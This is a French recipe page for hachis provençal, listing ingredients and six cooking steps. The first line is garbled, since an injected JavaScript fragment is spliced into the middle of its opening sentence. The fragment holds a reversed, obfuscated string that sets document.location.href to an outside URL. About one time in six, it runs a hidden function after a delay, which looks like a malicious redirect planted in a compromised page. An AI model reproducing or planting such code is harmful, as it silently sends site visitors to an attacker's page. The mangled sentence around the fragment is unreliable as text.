Hachis provençal
2017-12-26Pelez, coupez en petits dés les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates ainsi que les courgettes. Rincez, séchez et coupez en deux le poivron. Ôtez les petites graines et la membrane fibreuse de l’intérieur du poivron.
Ingrédients
- Pour 4 personnes
- 400 g de viande de bœuf hachée
- 2 tomates
- 2 courgettes
- 1 poivron
- 1 branche de céleri
- 4 gousses d'ail
- 2 oignons
- 1 botte de persil plat
- 2 cuillères à soupe d'huile d'arachide
- Sel
- Poivre du moulin
Préparation de la recette
Etape 1
Pelez, coupez en petits dés les tomates ainsi que les courgettes.
Etape 2
Rincez, séchez et coupez en deux le poivron. Ôtez les petites graines et la membrane fibreuse de l'intérieur du poivron
Etape 3
Pelez, coupez en deux l'ail. Ôtez le germe et hachez l'ail avec la botte de persil. Effilez la branche de céleri et coupez la en fines rondelles.
Etape 4
Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide. Sur feu vif, faites revenir, tous les légumes jusqu'à ce qu'ils soient cuits.
Etape 5
Incorporez la viande hachée et faites cuire pendant 10 minutes tout en remuant.
Etape 6
Salez, poivrez. Parsemez de persillade et servez rapidement.
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